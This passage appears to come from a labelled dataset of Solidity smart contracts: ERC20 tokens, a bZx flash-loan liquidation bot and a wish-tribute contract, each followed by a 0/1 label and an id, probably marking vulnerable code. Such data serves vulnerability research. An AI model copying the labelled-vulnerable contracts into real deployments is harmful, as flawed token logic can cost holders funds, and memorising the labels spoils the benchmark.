Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract PausableToken is StandardToken, Pausable { mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(!frozenAccount[msg.sender]); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(!frozenAccount[_from]); return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) { require(!frozenAccount[msg.sender]); uint cnt = _receivers.length; uint256 amount = uint256(cnt).mul(_value); require(cnt > 0 && cnt <= 121); require(_value > 0 && balances[msg.sender] >= amount); balances[msg.sender] = balances[msg.sender].sub(amount); for (uint i = 0; i < cnt; i++) { require (_receivers[i] != 0x0); balances[_receivers[i]] = balances[_receivers[i]].add(_value); Transfer(msg.sender, _receivers[i], _value); } return true; } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function batchFreeze(address[] addresses, bool freeze) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { frozenAccount[addresses[i]] = freeze; FrozenFunds(addresses[i], freeze); } } } contract OPTCToken is PausableToken { string public name = "OPTICAL NETWORK"; string public symbol = "OPTC"; string public version = '2.0.0'; uint8 public decimals = 18; function OPTCToken() { totalSupply = 36 * 10000 * 10000 * (10**(uint256(decimals))); balances[msg.sender] = totalSupply; } function () external payable { revert(); } }
1
4,474
pragma solidity 0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function totalSupply()public view returns (uint total_Supply); function balanceOf(address _owner)public view returns (uint256 balance); function allowance(address _owner, address _spender)public view returns (uint remaining); function transferFrom(address _from, address _to, uint _amount)public returns (bool ok); function approve(address _spender, uint _amount)public returns (bool ok); function transfer(address _to, uint _amount)public returns (bool ok); event Transfer(address indexed _from, address indexed _to, uint _amount); event Approval(address indexed _owner, address indexed _spender, uint _amount); } contract BitcoinIchip is ERC20 {using SafeMath for uint256; string public constant symbol = "BIC"; string public constant name = "Bitcoin Ichip"; uint public constant decimals = 18; uint256 _totalSupply = 210000000 * 10 ** 18; address public owner; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; modifier onlyOwner() { require (msg.sender == owner); _; } constructor() public { owner = msg.sender; balances[owner] = _totalSupply; emit Transfer(0, owner, _totalSupply); } function burntokens(uint256 tokens) external onlyOwner { require( tokens <= balances[owner]); _totalSupply = (_totalSupply).sub(tokens); balances[owner] = balances[owner].sub(tokens); emit Transfer(owner, 0, tokens); } function totalSupply() public view returns (uint256 total_Supply) { total_Supply = _totalSupply; } function balanceOf(address _owner)public view returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _amount)public returns (bool ok) { require( _to != 0x0); require(balances[msg.sender] >= _amount && _amount >= 0); balances[msg.sender] = (balances[msg.sender]).sub(_amount); balances[_to] = (balances[_to]).add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom( address _from, address _to, uint256 _amount )public returns (bool ok) { require( _to != 0x0); require(balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount >= 0); balances[_from] = (balances[_from]).sub(_amount); allowed[_from][msg.sender] = (allowed[_from][msg.sender]).sub(_amount); balances[_to] = (balances[_to]).add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount)public returns (bool ok) { require( _spender != 0x0); allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender)public view returns (uint256 remaining) { require( _owner != 0x0 && _spender !=0x0); return allowed[_owner][_spender]; } function transferOwnership(address newOwner) external onlyOwner { require( newOwner != 0x0); balances[newOwner] = (balances[newOwner]).add(balances[owner]); balances[owner] = 0; owner = newOwner; emit Transfer(msg.sender, newOwner, balances[newOwner]); } }
1
4,514
pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IBZx { function replaceContract(address target) external; function setTargets( string[] calldata sigsArr, address[] calldata targetsArr ) external; function getTarget(string calldata sig) external view returns (address); function setPriceFeedContract(address newContract) external; function setSwapsImplContract(address newContract) external; function setLoanPool(address[] calldata pools, address[] calldata assets) external; function setSupportedTokens( address[] calldata addrs, bool[] calldata toggles, bool withApprovals ) external; function setLendingFeePercent(uint256 newValue) external; function setTradingFeePercent(uint256 newValue) external; function setBorrowingFeePercent(uint256 newValue) external; function setAffiliateFeePercent(uint256 newValue) external; function setLiquidationIncentivePercent( address[] calldata loanTokens, address[] calldata collateralTokens, uint256[] calldata amounts ) external; function setMaxDisagreement(uint256 newAmount) external; function setSourceBufferPercent(uint256 newAmount) external; function setMaxSwapSize(uint256 newAmount) external; function setFeesController(address newController) external; function withdrawFees( address[] calldata tokens, address receiver, FeeClaimType feeType ) external returns (uint256[] memory amounts); function withdrawProtocolToken(address receiver, uint256 amount) external returns (address rewardToken, uint256 withdrawAmount); function depositProtocolToken(uint256 amount) external; function grantRewards(address[] calldata users, uint256[] calldata amounts) external returns (uint256 totalAmount); function queryFees(address[] calldata tokens, FeeClaimType feeType) external view returns (uint256[] memory amountsHeld, uint256[] memory amountsPaid); function priceFeeds() external view returns (address); function swapsImpl() external view returns (address); function logicTargets(bytes4) external view returns (address); function loans(bytes32) external view returns (Loan memory); function loanParams(bytes32) external view returns (LoanParams memory); function delegatedManagers(bytes32, address) external view returns (bool); function lenderInterest(address, address) external view returns (LenderInterest memory); function loanInterest(bytes32) external view returns (LoanInterest memory); function feesController() external view returns (address); function lendingFeePercent() external view returns (uint256); function lendingFeeTokensHeld(address) external view returns (uint256); function lendingFeeTokensPaid(address) external view returns (uint256); function borrowingFeePercent() external view returns (uint256); function borrowingFeeTokensHeld(address) external view returns (uint256); function borrowingFeeTokensPaid(address) external view returns (uint256); function protocolTokenHeld() external view returns (uint256); function protocolTokenPaid() external view returns (uint256); function affiliateFeePercent() external view returns (uint256); function liquidationIncentivePercent(address, address) external view returns (uint256); function loanPoolToUnderlying(address) external view returns (address); function underlyingToLoanPool(address) external view returns (address); function supportedTokens(address) external view returns (bool); function maxDisagreement() external view returns (uint256); function sourceBufferPercent() external view returns (uint256); function maxSwapSize() external view returns (uint256); function getLoanPoolsList(uint256 start, uint256 count) external view returns (address[] memory loanPoolsList); function isLoanPool(address loanPool) external view returns (bool); function setupLoanParams(LoanParams[] calldata loanParamsList) external returns (bytes32[] memory loanParamsIdList); function disableLoanParams(bytes32[] calldata loanParamsIdList) external; function getLoanParams(bytes32[] calldata loanParamsIdList) external view returns (LoanParams[] memory loanParamsList); function getLoanParamsList( address owner, uint256 start, uint256 count ) external view returns (bytes32[] memory loanParamsList); function getTotalPrincipal(address lender, address loanToken) external view returns (uint256); function borrowOrTradeFromPool( bytes32 loanParamsId, bytes32 loanId, bool isTorqueLoan, uint256 initialMargin, address[4] calldata sentAddresses, uint256[5] calldata sentValues, bytes calldata loanDataBytes ) external payable returns (LoanOpenData memory); function setDelegatedManager( bytes32 loanId, address delegated, bool toggle ) external; function getEstimatedMarginExposure( address loanToken, address collateralToken, uint256 loanTokenSent, uint256 collateralTokenSent, uint256 interestRate, uint256 newPrincipal ) external view returns (uint256); function getRequiredCollateral( address loanToken, address collateralToken, uint256 newPrincipal, uint256 marginAmount, bool isTorqueLoan ) external view returns (uint256 collateralAmountRequired); function getRequiredCollateralByParams( bytes32 loanParamsId, uint256 newPrincipal ) external view returns (uint256 collateralAmountRequired); function getBorrowAmount( address loanToken, address collateralToken, uint256 collateralTokenAmount, uint256 marginAmount, bool isTorqueLoan ) external view returns (uint256 borrowAmount); function getBorrowAmountByParams( bytes32 loanParamsId, uint256 collateralTokenAmount ) external view returns (uint256 borrowAmount); function owner() external view returns (address); function liquidate( bytes32 loanId, address receiver, uint256 closeAmount ) external payable returns ( uint256 loanCloseAmount, uint256 seizedAmount, address seizedToken ); function rollover(bytes32 loanId, bytes calldata loanDataBytes) external returns (address rebateToken, uint256 gasRebate); function closeWithDeposit( bytes32 loanId, address receiver, uint256 depositAmount ) external payable returns ( uint256 loanCloseAmount, uint256 withdrawAmount, address withdrawToken ); function closeWithSwap( bytes32 loanId, address receiver, uint256 swapAmount, bool returnTokenIsCollateral, bytes calldata loanDataBytes ) external returns ( uint256 loanCloseAmount, uint256 withdrawAmount, address withdrawToken ); function liquidateWithGasToken( bytes32 loanId, address receiver, address gasTokenUser, uint256 closeAmount ) external payable returns ( uint256 loanCloseAmount, uint256 seizedAmount, address seizedToken ); function rolloverWithGasToken( bytes32 loanId, address gasTokenUser, bytes calldata ) external returns (address rebateToken, uint256 gasRebate); function closeWithDepositWithGasToken( bytes32 loanId, address receiver, address gasTokenUser, uint256 depositAmount ) external payable returns ( uint256 loanCloseAmount, uint256 withdrawAmount, address withdrawToken ); function closeWithSwapWithGasToken( bytes32 loanId, address receiver, address gasTokenUser, uint256 swapAmount, bool returnTokenIsCollateral, bytes calldata loanDataBytes ) external returns ( uint256 loanCloseAmount, uint256 withdrawAmount, address withdrawToken ); function depositCollateral(bytes32 loanId, uint256 depositAmount) external payable; function withdrawCollateral( bytes32 loanId, address receiver, uint256 withdrawAmount ) external returns (uint256 actualWithdrawAmount); function withdrawAccruedInterest(address loanToken) external; function extendLoanDuration( bytes32 loanId, uint256 depositAmount, bool useCollateral, bytes calldata ) external payable returns (uint256 secondsExtended); function reduceLoanDuration( bytes32 loanId, address receiver, uint256 withdrawAmount ) external returns (uint256 secondsReduced); function setDepositAmount( bytes32 loanId, uint256 depositValueAsLoanToken, uint256 depositValueAsCollateralToken ) external; function claimRewards(address receiver) external returns (uint256 claimAmount); function transferLoan(bytes32 loanId, address newOwner) external; function rewardsBalanceOf(address user) external view returns (uint256 rewardsBalance); function getLenderInterestData(address lender, address loanToken) external view returns ( uint256 interestPaid, uint256 interestPaidDate, uint256 interestOwedPerDay, uint256 interestUnPaid, uint256 interestFeePercent, uint256 principalTotal ); function getLoanInterestData(bytes32 loanId) external view returns ( address loanToken, uint256 interestOwedPerDay, uint256 interestDepositTotal, uint256 interestDepositRemaining ); function getUserLoans( address user, uint256 start, uint256 count, LoanType loanType, bool isLender, bool unsafeOnly ) external view returns (LoanReturnData[] memory loansData); function getUserLoansCount(address user, bool isLender) external view returns (uint256); function getLoan(bytes32 loanId) external view returns (LoanReturnData memory loanData); function getActiveLoans( uint256 start, uint256 count, bool unsafeOnly ) external view returns (LoanReturnData[] memory loansData); function getActiveLoansAdvanced( uint256 start, uint256 count, bool unsafeOnly, bool isLiquidatable ) external view returns (LoanReturnData[] memory loansData); function getActiveLoansCount() external view returns (uint256); function withdraw(address receiver, uint256 amount) external returns (uint256 withdrawAmount); function deposit() external payable; function swapExternal( address sourceToken, address destToken, address receiver, address returnToSender, uint256 sourceTokenAmount, uint256 requiredDestTokenAmount, bytes calldata swapData ) external payable returns ( uint256 destTokenAmountReceived, uint256 sourceTokenAmountUsed ); function swapExternalWithGasToken( address sourceToken, address destToken, address receiver, address returnToSender, address gasTokenUser, uint256 sourceTokenAmount, uint256 requiredDestTokenAmount, bytes calldata swapData ) external payable returns ( uint256 destTokenAmountReceived, uint256 sourceTokenAmountUsed ); function getSwapExpectedReturn( address sourceToken, address destToken, uint256 sourceTokenAmount ) external view returns (uint256); struct LoanParams { bytes32 id; bool active; address owner; address loanToken; address collateralToken; uint256 minInitialMargin; uint256 maintenanceMargin; uint256 maxLoanTerm; } struct LoanOpenData { bytes32 loanId; uint256 principal; uint256 collateral; } enum LoanType { All, Margin, NonMargin } struct LoanReturnData { bytes32 loanId; uint96 endTimestamp; address loanToken; address collateralToken; uint256 principal; uint256 collateral; uint256 interestOwedPerDay; uint256 interestDepositRemaining; uint256 startRate; uint256 startMargin; uint256 maintenanceMargin; uint256 currentMargin; uint256 maxLoanTerm; uint256 maxLiquidatable; uint256 maxSeizable; uint256 depositValueAsLoanToken; uint256 depositValueAsCollateralToken; } enum FeeClaimType { All, Lending, Trading, Borrowing } struct Loan { bytes32 id; bytes32 loanParamsId; bytes32 pendingTradesId; uint256 principal; uint256 collateral; uint256 startTimestamp; uint256 endTimestamp; uint256 startMargin; uint256 startRate; address borrower; address lender; bool active; } struct LenderInterest { uint256 principalTotal; uint256 owedPerDay; uint256 owedTotal; uint256 paidTotal; uint256 updatedTimestamp; } struct LoanInterest { uint256 owedPerDay; uint256 depositTotal; uint256 updatedTimestamp; } } interface IToken { function flashBorrow( uint256 borrowAmount, address borrower, address target, string calldata signature, bytes calldata data ) external payable returns (bytes memory); } interface ISwapsImpl { function dexSwap( address sourceTokenAddress, address destTokenAddress, address receiverAddress, address returnToSenderAddress, uint256 minSourceTokenAmount, uint256 maxSourceTokenAmount, uint256 requiredDestTokenAmount) external returns (uint256 destTokenAmountReceived, uint256 sourceTokenAmountUsed); function dexExpectedRate( address sourceTokenAddress, address destTokenAddress, uint256 sourceTokenAmount) external view returns (uint256); } interface IKyber { function swapTokenToToken( IERC20 src, uint256 srcAmount, IERC20 dest, uint256 minConversionRate ) external returns (uint256); function getExpectedRate( IERC20 src, IERC20 dest, uint256 srcQty ) external view returns (uint256 expectedRate, uint256 slippageRate); } interface KeeperCompatibleInterface { function checkUpkeep(bytes calldata checkData) external returns (bool upkeepNeeded, bytes memory performData); function performUpkeep(bytes calldata performData) external; } interface IKeep3rV1 { function isKeeper(address) external returns (bool); function worked(address keeper) external; } interface IWeth { function deposit() external payable; function withdraw(uint256 wad) external; } contract BzxLiquidateV2 is Ownable, KeeperCompatibleInterface { using SafeERC20 for IERC20; IBZx public constant BZX = IBZx(0xD8Ee69652E4e4838f2531732a46d1f7F584F0b7f); IKyber public constant KYBER_PROXY = IKyber(0x9AAb3f75489902f3a48495025729a0AF77d4b11e); IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44); IWeth public constant WETH = IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); modifier upkeep() { require( KP3R.isKeeper(msg.sender), "::isKeeper: keeper is not registered" ); _; KP3R.worked(msg.sender); } fallback() external payable {} receive() external payable {} function liquidateInternal( bytes32 loanId, address loanToken, address collateralToken, uint256 maxLiquidatable, address flashLoanToken, bool allowLoss, bool checkBeforeExecuting ) internal returns (address, uint256) { if (checkBeforeExecuting) { IBZx.LoanReturnData memory loan = BZX.getLoan(loanId); require( loan.maxLiquidatable > 0 && loan.maxSeizable > 0, "healty loan" ); } bytes memory b = IToken(flashLoanToken).flashBorrow( maxLiquidatable, address(this), address(this), "", abi.encodeWithSelector( this.executeOperation.selector, loanId, loanToken, collateralToken, maxLiquidatable, flashLoanToken, allowLoss, msg.sender ) ); (, , , uint256 profitAmount) = abi.decode( b, (uint256, uint256, address, uint256) ); return (loanToken, profitAmount); } function liquidate( bytes32 loanId, address loanToken, address collateralToken, uint256 maxLiquidatable, address flashLoanToken ) external upkeep returns (address, uint256) { return liquidateInternal( loanId, loanToken, collateralToken, maxLiquidatable, flashLoanToken, false, false ); } function liquidateCheckBeforeExecuting( bytes32 loanId, address loanToken, address collateralToken, uint256 maxLiquidatable, address flashLoanToken ) external upkeep returns (address, uint256) { return liquidateInternal( loanId, loanToken, collateralToken, maxLiquidatable, flashLoanToken, false, true ); } function liquidatePublic( bytes32 loanId, address loanToken, address collateralToken, uint256 maxLiquidatable, address flashLoanToken ) external returns (address, uint256) { return liquidateInternal( loanId, loanToken, collateralToken, maxLiquidatable, flashLoanToken, false, false ); } function liquidateAllowLoss( bytes32 loanId, address loanToken, address collateralToken, uint256 maxLiquidatable, address flashLoanToken, bool checkBeforeExecuting ) external onlyOwner returns (address, uint256) { return liquidateInternal( loanId, loanToken, collateralToken, maxLiquidatable, flashLoanToken, true, checkBeforeExecuting ); } function executeOperation( bytes32 loanId, address loanToken, address collateralToken, uint256 maxLiquidatable, address iToken, bool allowLoss, address gasTokenUser ) external returns (bytes memory) { (uint256 _liquidatedLoanAmount, uint256 _liquidatedCollateral, ) = BZX .liquidate(loanId, address(this), uint256(-1)); if (collateralToken == address(WETH) && address(this).balance != 0) { WETH.deposit{value: address(this).balance}(); } uint256 _realLiquidatedLoanAmount = KYBER_PROXY.swapTokenToToken( IERC20(collateralToken), _liquidatedCollateral, IERC20(loanToken), 0 ); if (!allowLoss) { require( _realLiquidatedLoanAmount > _liquidatedLoanAmount, "no profit" ); } IERC20(loanToken).safeTransfer(iToken, maxLiquidatable); return abi.encode( loanToken, uint256(_realLiquidatedLoanAmount - _liquidatedLoanAmount) ); } function wrapEther() public onlyOwner { if (address(this).balance != 0) { WETH.deposit{value: address(this).balance}(); } } function withdrawIERC20(IERC20 token) public onlyOwner { token.safeTransfer(msg.sender, token.balanceOf(address(this))); } function infiniteApproveIERC20(IERC20[] calldata tokens) public onlyOwner { for (uint256 i = 0; i < tokens.length; i++) { if (tokens[i].allowance(address(this), address(BZX)) != 0) { tokens[i].safeApprove(address(BZX), 0); } tokens[i].safeApprove(address(BZX), uint256(-1)); if (tokens[i].allowance(address(this), address(KYBER_PROXY)) != 0) { tokens[i].safeApprove(address(KYBER_PROXY), 0); } tokens[i].safeApprove(address(KYBER_PROXY), uint256(-1)); } } function infiniteApproveLinkRegistry(address registry, IERC20 token) public onlyOwner { if (token.allowance(address(this), registry) != 0) { token.safeApprove(registry, 0); } token.safeApprove(registry, uint256(-1)); } struct LoanReturnDataMinimal { bytes32 loanId; address loanToken; address collateralToken; uint256 maxLiquidatable; uint256 maxSeizable; address iToken; } function getLiquidatableLoans(uint256 start, uint256 count) public view returns (LoanReturnDataMinimal[] memory liquidatableLoans) { IBZx.LoanReturnData[] memory loans; loans = BZX.getActiveLoansAdvanced(start, count, true, true); liquidatableLoans = new LoanReturnDataMinimal[](loans.length); for (uint256 i = 0; i < loans.length; i++) { liquidatableLoans[i] = LoanReturnDataMinimal( loans[i].loanId, loans[i].loanToken, loans[i].collateralToken, loans[i].maxLiquidatable, loans[i].maxSeizable, BZX.underlyingToLoanPool(loans[i].loanToken) ); } } function checkUpkeep(bytes calldata checkData) external override returns (bool upkeepNeeded, bytes memory performData) { (uint256 start, uint256 count) = abi.decode( checkData, (uint256, uint256) ); LoanReturnDataMinimal[] memory liquidatableLoans = getLiquidatableLoans( start, count ); return (liquidatableLoans.length > 0, abi.encode(liquidatableLoans)); } function encode(uint256 start, uint256 count) external pure returns (bytes memory checkData) { return abi.encode(start, count); } function performUpkeep(bytes calldata performData) external override { LoanReturnDataMinimal[] memory loans = abi.decode( performData, (LoanReturnDataMinimal[]) ); require(loans.length > 0, "Cannot execute"); address(this).call( abi.encodeWithSelector( this.liquidatePublic.selector, loans[1].loanId, loans[1].loanToken, loans[1].collateralToken, loans[1].maxLiquidatable, loans[1].iToken ) ); } }
0
391
pragma solidity ^0.4.18; contract Owned { address owner; function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwner(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } function getOwner() public view returns (address) { return owner; } } contract HolyPiggyStorage { struct Wish { bytes name; bytes content; uint256 time; uint256 tribute; } Wish[] wishes; mapping(address => uint256[]) wishesIdx; address godAddress; address serviceProvider; uint256 serviceFeeNumerator; uint256 serviceFeeDenominator; uint256 minimumWishTribute; uint256 accumulatedServiceFee; } contract HolyPiggy is HolyPiggyStorage, Owned { function() public payable {} function HolyPiggy(address god) public { godAddress = god; serviceFeeNumerator = 1; serviceFeeDenominator = 50; minimumWishTribute = 0; } function getGodAddress() external view returns (address) { return godAddress; } event PostWish(address addr, uint256 id, bytes name, bytes content, uint256 time, uint256 tribute); function setServiceProvider(address addr) public onlyOwner { serviceProvider = addr; } function getServiceProvider() external view returns (address) { return serviceProvider; } function setServiceFee(uint256 n, uint256 d) public onlyServiceProvider { serviceFeeNumerator = n; serviceFeeDenominator = d; } function getAccumulatedServiceFee() external view returns (uint256) { return accumulatedServiceFee; } function getServiceFeeNumerator() external view returns (uint256) { return serviceFeeNumerator; } function getServiceFeeDenominator() external view returns (uint256) { return serviceFeeDenominator; } function getMinimumWishTribute() external view returns (uint256) { return minimumWishTribute; } function setMinimumWishTribute(uint256 tribute) public onlyOwner { minimumWishTribute = tribute; } modifier onlyServiceProvider() { require(msg.sender == serviceProvider); _; } function withdrawServiceFee() public onlyServiceProvider { uint256 fee = accumulatedServiceFee; accumulatedServiceFee = 0; serviceProvider.transfer(fee); } function postWish(bytes name, bytes content) public payable { require(msg.value > 0); require(serviceProvider != address(0)); uint256 serviceFee = msg.value * serviceFeeNumerator / (serviceFeeDenominator + serviceFeeNumerator); uint256 tribute = msg.value - serviceFee; require(tribute > minimumWishTribute); assert(accumulatedServiceFee + serviceFee > accumulatedServiceFee); uint256 id = wishes.length; var wish = Wish(name, content, now, tribute); wishes.push(wish); wishesIdx[msg.sender].push(id); accumulatedServiceFee = accumulatedServiceFee + serviceFee; godAddress.transfer(tribute); PostWish(msg.sender, id, name, content, now, tribute); } function countWishes() external view returns (uint256) { return wishes.length; } function getWishName(uint256 idx) external view returns (bytes) { return wishes[idx].name; } function getWishContent(uint256 idx) external view returns (bytes) { return wishes[idx].content; } function getWishTime(uint256 idx) external view returns (uint256) { return wishes[idx].time; } function getWishTribute(uint256 idx) external view returns (uint256) { return wishes[idx].tribute; } function getWishIdxesAt(address addr) external view returns (uint256[]) { return wishesIdx[addr]; } function getWishIdxAt(address addr, uint256 pos) external view returns (uint256) { return wishesIdx[addr][pos]; } function countWishesAt(address addr) external view returns (uint256) { return 